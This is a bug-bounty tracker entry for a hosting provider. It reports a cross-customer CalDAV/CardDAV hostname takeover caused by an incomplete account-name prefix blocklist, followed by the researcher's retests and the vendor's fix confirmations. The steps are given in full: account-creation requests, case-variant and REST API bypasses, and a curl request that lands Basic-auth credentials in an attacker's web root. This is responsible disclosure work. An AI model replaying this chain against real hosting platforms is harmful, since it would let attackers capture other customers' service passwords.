Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by Bajinder - 20.09.2026
Last edited by cbay - 21.09.2026

FS#485 - Cross-Customer Account Takeover via CalDAV Hostname Seizure

VULNERABILITY INFORMATION:

Name of Vulnerability: An incomplete service-prefix blocklist on the account "name" field lets one customer claim the DNS record of another customer's CalDAV or CardDAV service in the shared alwaysdata.net zone.

The user-facing site address field refuses such a hostname, but the auto-provisioner that creates an account's default address does not run that check. As a result, the DNS record is silently reassigned and the victim's client can deliver its HTTP Basic credential to the attacker over Alwaysdata's own wildcard certificate.

Vulnerability Category:
Access Control Issues / Broken authentication & session management / Exposure of Sensitive Information, per the qualifying list on your bug bounty page.

Description:

An account's name is used to generate that account's per-service alwaysdata.net zone.

You already recognise the risk and maintain a blocklist of service prefixes for the name field, but it covers only 8 of the 10 prefixes your own interface documents.

"imap-" and "carddav-" are missing, along with the other omitted service prefixes, and the relevant services authenticate with a plaintext password on every connection.

Creating a free account called:

caldav-<victim>

therefore takes over:

caldav-<victim>.alwaysdata.net

which is the CalDAV endpoint your own panel tells customer <victim> to configure.

The DNS record moves to the attacker's web node, and your wildcard certificate for the hostname remains valid. A request carrying an Authorization: Basic header for that hostname therefore lands in the attacker's own web root.

That password is the account's service password described at /admin/account/add/ as being used for default users such as FTP, MySQL and SSH.

Two code paths disagree, and that disagreement is the defect.

The user-facing site address field correctly refuses a hostname the attacker does not own:

caldav-vk7victim.alwaysdata.net

is rejected with:

"The domain name alwaysdata.net does not belong to you"

and:

vk7victim.alwaysdata.net

is rejected with:

"delegated to the vk7victim account".

The auto-provisioner's DEFAULT address on account creation does not run that check.

Only the path a customer cannot see is blind.

SCOPE NOTE, established by testing rather than assumed:

Of the four forgotten prefixes, only "caldav-" and "carddav-" are exploitable this way because those services run over the ports the attacker's web node serves.

I checked the other prefixes rather than claiming them:

```
185.31.41.11 the attacker's web node 443 OPEN 993 closed 110 closed
185.31.40.62 the real IMAP and POP host 993 OPEN 995 OPEN 143 OPEN 443 closed
185.31.41.92 the real CalDAV host 443 OPEN 993 closed
```

Seizing imap-<victim> or pop-<victim> therefore points the victim's mail hostname at a host where the relevant mail ports are closed. That disrupts the victim's mail rather than capturing credentials.

Because mail service is outside the programme's scope, I make NO claim about those two prefixes beyond the blocklist gap itself.

Everything below is specific to caldav- and carddav-.

Vulnerable Instances:

POST https://admin.alwaysdata.com/admin/account/add/ field "name"

POST https://admin.alwaysdata.com/account/<id>/rename/
field "name"

POST https://www.alwaysdata.com/en/register/ free self-service signup, no captcha

The DNS auto-provisioner creates an account's default alwaysdata.net zone.

Steps to Reproduce:

Total cost: EUR 0, approximately four minutes.

Every account involved is one I own, and the "victim" record belongs to my own second account.

1. The blocklist gap.

 Each row below is a single POST to /admin/account/add/ showing the validator's verdict on the name field.
 ssh-vk7victim         -> "This name contains an invalid prefix."
 ftp-vk7victim         -> "This name contains an invalid prefix."
 smtp-vk7victim        -> "This name contains an invalid prefix."
 webdav-vk7victim      -> "This name contains an invalid prefix."
 mysql-vk7victim       -> "This name contains an invalid prefix."
 postgresql-vk7victim  -> "This name contains an invalid prefix."
 rabbitmq-vk7victim    -> "This name contains an invalid prefix."
 services-vk7victim    -> "This name contains an invalid prefix."
 imap-vk7victim        -> ACCEPTED, no prefix error
 pop-vk7victim         -> ACCEPTED, no prefix error
 caldav-vk7victim      -> ACCEPTED, no prefix error
 carddav-vk7victim     -> ACCEPTED, no prefix error
 The charset validator is separate and works correctly. Invalid characters are rejected, while alphabetic, numeric and hyphen characters are accepted.
 Uniqueness is case-insensitive, so VK7RESEARCH is refused.

2. Obtain a second free account.

 /admin/account/add/ refuses a second free product for one user, so I used the public signup, which is free and has no captcha.
 POST https://www.alwaysdata.com/en/register/
 email=<ours>[+x@alwaysdata.net](mailto:+x@alwaysdata.net) & password=... & privacy_policy=on
  1. > HTTP 302

Location: /login/?user_id=<dec>&expiration=<ts>&token=<epoch>-<hmac>

 Plus addressing on my own platform mailbox works, so the validation message can be received.
 imap-<ours>.alwaysdata.net:993 with the service password.
 I completed:
 /user/validate/?user_id=<b36>&token=...
 and then POST /login/.

3. Record the victim's CalDAV record BEFORE the attack.

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net A
  1. > 185.31.41.92

the shared Radicale CalDAV host

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net AAAA
  1. > 2a00:b6e0:1:90:8::1

4. Create the colliding account.

 One request, with no warning or confirmation:
 POST https://admin.alwaysdata.com/admin/account/add/
 Referer: https://admin.alwaysdata.com/admin/account/add/
 csrfmiddlewaretoken=<tok>&name=caldav-vk7victim&password=<pw>&product=2012&period=1mo
 &location=datacenter_3&contract_28=on&contract_36=on
  1. > HTTP 302

Location: /subscription/

 /subscription/ then lists:
 caldav-vk7victim | Free (1GB disk, 256M...)
 account 500765, subscription 520987
 with a default site 1078599 and subdomain object 1351172 for:
 caldav-vk7victim.alwaysdata.net

5. The victim's record has moved.

 I queried the authoritative nameserver so this is not a local cache artefact.
 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 185.31.41.11

the shared web node serving the attacker's new account

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 2a00:b6e0:1:20:23::1
 $ dig +short @1.1.1.1 caldav-vk7victim.alwaysdata.net A
  1. > 185.31.41.11

6. The edge supplies valid TLS for the stolen name, so the victim's client sees no warning.

 $ openssl s_client -connect caldav-vk7victim.alwaysdata.net:443 
 -servername caldav-vk7victim.alwaysdata.net
  1. > subject=CN=*.alwaysdata.net
  2. > issuer=C=US, O=Let's Encrypt, CN=YE1
  3. > X509v3 Subject Alternative Name:

DNS:*.alwaysdata.net, DNS:alwaysdata.net

  1. > notBefore=Sep 15 06:30:39 2026 GMT
  2. > notAfter=Dec 14 06:30:38 2026 GMT

7. The credential channel terminates in the attacker's web root.

 The genuine service at that hostname uses HTTP Basic, so the client transmits the credential on requests to the hostname.
 $ curl -D- https://caldav-vk7research.alwaysdata.net/
  1. > HTTP/1.0 401
  2. > www-authenticate: Basic realm="Radicale - Password Required"
  3. > server: WSGIServer/0.2 CPython/3.11.2
 A one-line index.php in the attacker account's web root echoes the Authorization header.
 Simulating the client your own documentation tells account vk7victim to configure:
 $ curl -H "User-Agent: DAVx5/4.3.1 okhttp/4.12" 
 -u 'vk7victim:<placeholder>' 
 https://caldav-vk7victim.alwaysdata.net/index.php
  1. > HTTP/2 200
  2. > via: 2.0 alproxy
  3. > served by account: caldav-vk7victim on host http22
  4. > Host header: caldav-vk7victim.alwaysdata.net
  5. > Authorization header received: Basic dms3dmljdGltOi4uLg==
 The value in this request is a PLACEHOLDER, not the account's real password.
 The important point is that the credential channel for the victim's hostname terminates in an unrelated EUR 0 account's web root, inside a TLS session that Alwaysdata itself certified.

8. Additional defect found while remediating: releasing the name does not restore the DNS record.

 POST /account/500765/rename/
 name=zztestl6dns
  1. > HTTP 302
 $ dig +short @dns1.alwaysdata.com caldav-zztestl6dns.alwaysdata.net
  1. > 185.31.41.92

the new name provisioned correctly

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 185.31.41.11

STILL pointing at the attacker's node

 Therefore, the hijack outlives the account name that caused it.
 A no-op rename did not restore it either.
 This is the same stale binding class you have already fixed and paid several times over (FS#139, FS#146, FS#167, FS#217, FS#221, FS#294).

9. Controls that rule out alternative explanations.

 a. The records are real per-account entries, not a wildcard.
 $ dig +short @dns1.alwaysdata.com zzznosuchaccount9912.alwaysdata.net
  1. > no matching account record
 b. Sibling records are untouched throughout, so the reassignment is targeted rather than global:
 caldav-vk7research.alwaysdata.net   A -> 185.31.41.92
 carddav-vk7research.alwaysdata.net  A -> 185.31.41.92
 imap-vk7research.alwaysdata.net     A -> 185.31.40.62
 $ curl -o /dev/null -w '%{http_code} %{remote_ip}' 
 https://caldav-vk7research.alwaysdata.net/
  1. > 302 185.31.41.92
 c. The prefix check is a pure prefix match, independent of whether the suffix names a real account:
 ssh-nosuchacct9912  -> blocked
 pop-nosuchacct9912  -> accepted
 d. The user-facing address field DOES enforce ownership, which demonstrates that the two paths disagree rather than there being no check at all.
 Submitting each of the following on a site I own returned HTTP 200 with a field error and persisted nothing:
 vk7victim.alwaysdata.net
 caldav-vk7victim.alwaysdata.net
 imap-vk7victim.alwaysdata.net
 ssh-vk7victim.alwaysdata.net
 The control that proves my request shape was correct:
 vk7research.alwaysdata.net/orchctl
 returned HTTP 302 in the identical request and was persisted and read back.

Proof of Concept:

Steps 1 to 9 reproduce end to end from curl, dig and openssl with an ordinary free account.

The DNS value change in step 5 was confirmed twice from two independent resolvers, while the sibling records in step 9b remained unchanged during the same sweep.

WHAT THIS REPORT DOES NOT CLAIM, stated plainly:

* I did not point a real third party's calendar client at the seized hostname.

The Authorization header shown in step 7 carries a placeholder rather than any real password. I did not need a real secret to prove where the credential channel terminates, and I did not capture one.

* I did not use a captured credential against FTP, MySQL or SSH.

The reason the service password matters is your own help text at /admin/account/add/, which states that the password is used for default users. I did not need to exercise those services to establish the credential reuse risk.

* The remaining step is standard DAV client behaviour rather than speculation.

A client configured for caldav-<victim>.alwaysdata.net resolves that hostname, reaches the attacker-controlled host over valid TLS, and transmits Basic credentials because that is what the genuine endpoint requires.
Nothing about the victim's configuration changes and nothing prompts them.
I did not execute this against a real victim, so you can weigh the demonstrated credential channel directly.

* I did not claim imap- or pop- seizure as credential capture. See the scope note above.

* The one artefact I cannot repair myself is in step 8:

caldav-vk7victim.alwaysdata.net
still resolves to:
185.31.41.11
as of this report.
Nothing of mine is served there. The record belongs to vk7victim, which is an account I own, so no customer of yours is affected.
Please restore it.

Test window:

2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.

Requests were sequential and paced. Account creation was limited to the single extra account required for the test.

Impact:

With one free signup, an attacker can take over the CalDAV or CardDAV hostname of any named account, and account names are public information under your own rules.

The victim's client can then send the account's service password to the attacker over valid TLS, with no certificate warning and no user action beyond its normal scheduled sync.

Because that password is shared with FTP, MySQL and SSH according to your own account creation documentation, successful capture would potentially extend beyond the calendar or contacts service to the victim's broader hosting account.

The affected account could therefore expose its website, databases, mail and files, depending on which services use the shared service password.

The victim also loses the calendar or contacts service itself because their hostname no longer points to the genuine service.

On the two exclusions in your rules that could be misread onto this finding:

First, the customer site exclusion does not apply. The alwaysdata.net hostnames are linked to customer accounts, and this is not a flaw in a customer's site or anything a customer configured.

The provisioning code operates in a DNS zone controlled by Alwaysdata, and the record is reassigned from one customer to another by your own account creation path. No customer action is involved on either side.

Second, the fact that account names may be discoverable in many different ways does not change the finding.

I am not reporting account name disclosure. The account name is simply the input that selects which victim's DNS record gets reassigned. If name disclosure were eliminated, the provisioning flaw would still exist and would still be reachable by anyone who knows one account name.

On duplication with  FS#348 :

That report, "Subdomain Squatting on alwaysdata.net Platform Namespace", was closed Invalid and concerned claiming unused labels.

This finding takes an existing hostname that already resolves for a live customer and reassigns its DNS record.

Step 5 demonstrates the value changing from the genuine CalDAV host to the attacker's web node, while four sibling records remain unchanged as controls in step 9b.

The defect is therefore in the provisioner's collision handling, not in the availability of an unused name.

What this achieves that a customer's own SSH shell cannot:

It allows a customer to rewrite a DNS record in a zone they do not own and redirect another customer's service hostname to infrastructure controlled by the attacker.

CVSS v3.1:

9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

AV:N because every step is performed through network requests.

AC:L because the sequence is deterministic and the only required input is a name the attacker already knows.

PR:L because a free account is required.

UI:N because no victim interaction is required to perform the DNS reassignment. The victim's client sends the credential on its own next scheduled sync, without prompting the victim.

S:C because the vulnerable component is the account provisioning system, while the impacted components are the shared DNS zone and another customer's account.

C:H because the captured credential is the account's service password.

I:H and A:H because the shared password is used across FTP, MySQL and SSH, and because the victim loses the CalDAV/CardDAV service itself.

If you prefer to treat the client's next reconnection as user interaction, the score would be lower.

The demonstrated impact remains Critical under that interpretation, and I am content for you to settle the final scoring based on the facts above.

Recommendation:

1. Complete the prefix blocklist.

 Add all omitted service prefixes, including:
 "imap-"
 "pop-"
 "pop3-"
 "caldav-"
 "carddav-"
 Better, derive the validation list from the same service-prefix list used by the provisioner so the two cannot drift apart again.

2. Apply the ownership and collision check in the auto-provisioner, not only in the user-facing address form.

 A default address that would collide with an existing record in the shared zone should be rejected using the same ownership check that control 9d shows you already implement on the other path.

3. Reject any account name that would collide with an existing generated record in the zone rather than relying solely on a static prefix list.

4. Restore a released hostname to its rightful owner when a colliding account is renamed or deleted, as demonstrated in step 8.

5. Consider not sharing one password across web, FTP, SSH and MySQL.

 Separating service credentials would ensure that capturing one service credential does not automatically provide access to the broader hosting account.
Closed by  cbay
21.09.2026 12:24
Reason for closing:  Fixed
Admin
cbay commented on 21.09.2026 08:39

Hello,

Thanks for the report, can you confirm it has been fixed?

Kind regards,
Cyril

Retest answer: partially fixed.

The four names the report explicitly named are now refused on both panel forms, but the vulnerability is still reachable three ways, and I reproduced two of them end to end today on accounts I own, including a direct repeat of the original attack through your REST API.

Everything below was re-tested on 2026-09-21 between 10:59 and 11:50 UTC.

1. WHAT IS FIXED

All twelve service prefixes are now refused in lower case on both `POST /admin/account/add/` and `POST /account/<id>/rename/`. The list was re-derived from your zone rather than assumed: querying `<prefix>-vk7research.alwaysdata.net` returns a record for eleven of them, and `services-` is the twelfth, based on your own rename page.

```
ssh- ftp- smtp- webdav- mysql- postgresql- rabbitmq- services- refused before as well
imap- pop- caldav- carddav- refused now, not on 09-20

POST /admin/account/add/
name=caldav-vk7victim

HTTP 200, field error "This name contains an invalid prefix."
```

Control in the same run, confirming that the message is specific to the name and not to the request:

```
name=zzretest0921
HTTP 200 with no error on the name field.
```

On the add form, I submitted without a product and without the contract checkboxes, so the form could never succeed while the name field was still being validated.

On the rename form, I used the suffix `zzprobe0921`, for which no account and therefore no record exists, so nothing could be taken even if a name had passed.

Each of the twelve prefixes, the eleven your zone actually generates plus `services-`, returned HTTP 200 with the prefix error on both forms, and the account name was unchanged afterwards.

2. WHAT IS NOT FIXED

2.1 The new check is case-sensitive, and the platform case-folds the name it stores, so one capital letter defeats it. Reproduced end to end today.

Same endpoint, same session, twelve seconds apart, on account 500765, which is ours:

```
11:12:59Z POST /account/500765/rename/

         name=carddav-vk7victim
         -> HTTP 200, "This name contains an invalid prefix."      your fix, working

11:13:11Z POST /account/500765/rename/

         name=CARDDAV-vk7victim
         -> HTTP 302, Location: /account/500765/rename/            accepted

```

The name you then store is the lower-case one. `/subscription/` and the panel header both show the account as `carddav-vk7victim`, which is exactly the string the validator refuses.

Your uniqueness rule already folds case, which is how the two checks are shown to disagree about what a name is:

```
name=ZZTESTL6DNS
→ refused ("This name is not valid.") because account zztestl6dns exists

name=ZZTESTL6DNX
→ accepted
```

The DNS record moved exactly as in the original report:

```
11:12:44Z carddav-vk7victim.alwaysdata.net

         A 185.31.41.92
         AAAA 2a00:b6e0:1:90:8::1

11:13:34Z carddav-vk7victim.alwaysdata.net

         A 185.31.41.11

dig @dns1.alwaysdata.com

At 11:14Z, @dns2.alwaysdata.com, @1.1.1.1 and @8.8.8.8 all returned 185.31.41.11.
```

Controls:

```
imap-vk7victim.alwaysdata.net stayed 185.31.40.62 throughout.

11:20:57Z
caldav-vk7research and carddav-vk7research were both still 185.31.41.92.

carddav-vk7research is the label used later, in section 2.2, at 11:45Z.
```

`/site/` on the seizing account then listed the address binding `carddav-vk7victim.alwaysdata.net`, so the provisioner created the binding for another account's CardDAV hostname without an ownership check.

Your edge serves the seized name under your own certificate:

```
openssl handshake to 185.31.41.11
SNI: carddav-vk7victim.alwaysdata.net

→ subject CN=*.alwaysdata.net

 issuer Let's Encrypt YE1
 SAN DNS:*.alwaysdata.net

```

I renamed the account back at 11:16:42Z. I published nothing on the seized hostname and captured no credential this time. The credential channel was already demonstrated in the original report, and repeating it would have added nothing.

2.2 The REST API still carries the old list, and the original attack works there unchanged.

This is not an inference. I created the account and the record moved.

`POST https://api.alwaysdata.com/v1/account/` is a second provisioning path. Its serializer runs a prefix check, but the list is the one from before your fix.

With an otherwise valid, complete create payload, three requests in one run from one ordinary customer token produced the following. Q below is your own quota message, "Vous ne pouvez pas avoir plus de 1 produit(s) de ce type.":

```
name=zzfreshname0921
→ 400 {"": [Q]}

name=ssh-vk7research
→ 400 {"name": ["Ce nom contient un prefixe invalide."], "": [Q]}

name=carddav-vk7research
→ 400 {"": [Q]}
```

A name your panel refuses is therefore treated exactly like an unused free name here. The only thing left in the way was our own free-plan quota, which any attacker can clear with one signup.

I cleared ours by deleting our own throwaway account, then repeated the two requests:

```
11:45:43Z
POST /v1/account/
{"name":"ssh-vk7research","password":"…","location_type":
"datacenter","location_object":3,"product":2012,"period":"1mo"}

→ 400 {"name": ["Ce nom contient un prefixe invalide."]}

11:45:47Z
Same payload with name=carddav-vk7research

→ 201 Created

GET /v1/account/
→ {"id": 501045, "name": "carddav-vk7research", …}
```

Four seconds apart, using the same token and same payload, one prefix was refused and one was accepted.

The record followed, and this time the victim was account `vk7research`, a different account from the one the attacker paid nothing for:

```
11:45:16Z carddav-vk7research.alwaysdata.net

         A 185.31.41.92
         AAAA 2a00:b6e0:1:90:8::1

11:46:04Z carddav-vk7research.alwaysdata.net

         A 185.31.41.11

```

Also 185.31.41.11 from:

```
@dns2.alwaysdata.com @1.1.1.1 @8.8.8.8 ```

Controls in the same sweep:

```
caldav-vk7research stayed 185.31.41.92
imap-vk7research stayed 185.31.40.62
```

`GET /v1/site/` scoped to the new account listed `carddav-vk7research.alwaysdata.net` as its site, and an OpenSSL handshake to 185.31.41.11 with that SNI again returned:

```
CN=*.alwaysdata.net
```

So the fix covers the panel and not this path.

One note in passing: the API refuses renames outright:

```
"Vous ne pouvez pas modifier le nom."
```

Therefore, only account creation is affected through this API path.

2.3 Releasing the name still does not return the record to its owner, and deleting the colliding account is worse than leaving it because the victim's record is removed altogether.

`caldav-vk7victim.alwaysdata.net` has pointed at 185.31.41.11 since 2026-09-20 and still did at 11:49:21Z today.

`carddav-vk7victim.alwaysdata.net`, moved during this retest, did not come back after the rename was reverted. I polled it from 11:17:29Z to 11:19:51Z and again at 11:49:21Z. It still resolved to 185.31.41.11.

Both return 502 at your edge.

New, from the API test above: I deleted the seizing account at 11:46:40Z to clean up, and the victim's own record did not return to 185.31.41.92. It went to NXDOMAIN:

```
11:46:46Z
carddav-vk7research.alwaysdata.net
A 185.31.41.11

11:47:02Z
carddav-vk7research.alwaysdata.net
NXDOMAIN

Still NXDOMAIN at 11:49:21Z.
```

Control:

```
caldav-vk7research.alwaysdata.net
still resolves and still answers, 302 from 185.31.41.92
```

So the account itself is healthy and only the seized label is gone.

An attacker who takes a hostname and then deletes the account can therefore delete another customer's CardDAV or CalDAV record, and the customer cannot recreate it themselves.

3. WHY A LIST IN THAT POSITION KEEPS LOSING

Recommendations 2 and 3 of the original report were not implemented.

The provisioner still creates an account's default address without asking whether that hostname already exists in the shared zone for a different account, and the blocklist sits in front of it as a string filter.

A filter in that position has to be perfect on every path and in every encoding, forever. Today it is neither: one path compares case-sensitively and another path has a stale copy of the list.

The user-facing address field already performs the correct check:

"The domain name alwaysdata.net does not belong to you"

The logic you need therefore already exists in your own codebase.

4. WHAT WOULD CLOSE IT

4.1 Compare the name case-insensitively after the same normalization you already apply for uniqueness, and build the list from the same source the provisioner uses to generate hostnames, so the two cannot drift apart again.

4.2 Apply the validation in the serializer behind `POST /v1/account/` as well, not only in the two panel forms. That path is where the original attack still works today.

4.3 Perform the ownership check where the address object is created. Refuse any default address that collides with an existing record in `alwaysdata.net` owned by another account. That is the only version of this fix that does not depend on a list.

4.4 Return a released hostname to its owner on rename, delete and transfer.

5. CLEANUP WE CANNOT DO OURSELVES

 caldav-vk7victim.alwaysdata.net
 Please restore to:
 A    185.31.41.92
 AAAA 2a00:b6e0:1:90:8::1
 carddav-vk7victim.alwaysdata.net
 Same values.
 Moved at 11:13Z today, reverted at 11:16Z, stayed seized.
 carddav-vk7research.alwaysdata.net
 Now NXDOMAIN.
 Please recreate it with the same values.

All three labels belong to `vk7victim` and `vk7research`, which are both ours. No other customer's account was named, touched or read at any point, either in this retest or in the original report.

For completeness, two further things I did to my own objects during this retest:

* I deleted our throwaway account `zztestl6dns`, id 500765, which was already listed for deletion in the cleanup note that accompanied the original reports.
* I created and then deleted account id 501045 for the test in section 2.2.
* The access token I minted for the API test, id 5547, has been deleted and now returns 401.
* The two-factor setting I had to enable in order to mint it has been turned off again.

Admin
cbay commented on 21.09.2026 12:03

Thanks!

2.1 and 2.2 should now be fixed.

2.3 is not something we're interested in fixing as creating an invalid account should never be possible anyway.

Can you confirm that it's now properly fixed?

Confirmed fixed, both of them. I re-tested 2.1 and 2.2 from 12:11 to 12:20 UTC today and could not get either one to work again on any path I could find. Details below so you can see what was actually covered, followed by one request.

1. 2.1, the case-sensitive comparison: FIXED

All twelve service prefixes are now refused in every case I tried, on both forms. Each row is one POST reading only the verdict on the name field, with product and contract checkboxes omitted so the form can never succeed:

POST /admin/account/add/ ssh- ftp- smtp- webdav- mysql- postgresql- rabbitmq- services-
imap- pop- caldav- carddav-
all refused, "This name contains an invalid prefix."

case variants CARDDAV-vk7victim, CalDAV-vk7victim, cAlDaV-vk7victim,
CALDAV-VK7VICTIM, Imap-vk7victim, POP-vk7victim, SSH-vk7victim,
FtP-vk7victim, webDAV-vk7victim
all refused

leading tab and space " \tCalDAV-vk7victim"
refused

trailing newline "CalDAV-vk7victim\n"
refused

full width unicode the same name in full width letters
refused, charset validator

negative control "zzclean0921"
accepted as a valid name field and only failed later on the
product/quota checks

POST /account/501047/rename/

```

                        caldav-, CalDAV-, CARDDAV-, cArDdAv-, IMAP-, POP-, each with the
                        suffix zzprobe0921, which owns no record
                        all refused, account name unchanged afterward

```

The negative control matters: it shows the validator is answering about the name rather than rejecting everything, so the twelve refusals are real.

2. 2.2, the REST API create path: FIXED

I ran the same sweep against:

POST https://api.alwaysdata.com/v1/account/

using an ordinary customer token at 12:15 UTC:

ssh- ftp- smtp- webdav- mysql- postgresql- rabbitmq- services- imap- pop- caldav- carddav-
→ 400 {"name": ["Ce nom contient un prefixe invalide."]}

CALDAV-vk7victim, CalDAV-vk7victim, cArDdAv-vk7victim, IMAP-vk7victim
→ 400, same prefix error

zzcleanapi0921
→ 400 with no error on "name", only the free-plan quota error

So the API now carries the same list as the panel and compares the same way.

The account we created through this path during the last retest, `501045`, was already deleted at that time.

3. WHAT ELSE WE CHECKED, since "properly" is the word you used

A prefix list only closes the paths that go through it, so I went looking for paths that do not.

Every one of these is closed:

PATCH /v1/site/<id> with an address entry we do not own
→ 400 {"address": ["Le domaine alwaysdata.net ne vous appartient pas."]}

```

   I first tried a label nobody owns, `zznonexist0921.alwaysdata.net`, so the check does
   not depend on another account already existing. This is the same ownership check used
   by the panel form.

```

POST /v1/subdomain/
→ 405, collection endpoint does not allow this method

POST /v1/domain/ with:
zznonexist0921c.alwaysdata.net
caldav-vk7victim.alwaysdata.net
alwaysdata.net
→ 400, domain validation error

POST /v1/mailbox/ pointing at domain 1, which is alwaysdata.net, with the names:
zzmb0921free
vk7victim
vk7research
→ 400, the shared domain is not available, so the name is never reached

PATCH /v1/account/<id> name
→ still "Vous ne pouvez pas modifier le nom de ce compte."

I also re-derived the generated label set from your zone rather than relying on an account created today. Digging 68 candidate prefixes against it returns records for exactly eleven:

ssh
ftp
smtp
imap
pop
caldav
carddav
webdav
mysql
postgresql
rabbitmq

All eleven are on the blocklist, and `services-` is blocked as well.

So the list and the provisioner now agree, which was the drift that caused the original report.

4. 2.3

Understood, and I am not contesting it.

For what it is worth, this is consistent with what I measured: with the namespace closed on every path above, I could not find a way to create the colliding account that produced the stale record in the first place.

5. THE ONE THING STILL OUTSTANDING

Three labels from the two rounds of testing are still wrong. All three belong to `vk7victim` and `vk7research`, which are my own accounts, so no customer of yours is affected, but they are still broken as of 12:11 UTC today:

caldav-vk7victim.alwaysdata.net
A 185.31.41.11, should be 185.31.41.92
AAAA 2a00:b6e0:1:90:8::1

carddav-vk7victim.alwaysdata.net
A 185.31.41.11, should be 185.31.41.92
AAAA 2a00:b6e0:1:90:8::1

carddav-vk7research.alwaysdata.net
NXDOMAIN, the record needs to be recreated

Its twin, `caldav-vk7research.alwaysdata.net`, still resolves to `185.31.41.92` and answers normally, so the accounts themselves are healthy and only these three labels need to be restored.

For completeness on my side, the API access token I minted for the retest was deleted and now returns 401, and the two-factor setting I enabled in order to mint it is off again.

Account `zzr1new0921`, ID `501047`, created for the root-write retest, is still present and can be deleted whenever suits you.

Test window: 2026-09-21, 12:11 to 12:20 UTC, single egress IP, sequential and paced requests.

Admin
cbay commented on 21.09.2026 12:24

Thanks, you can now claim your bounty by opening a support ticket.

Thank you and i have opened a ticket.

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing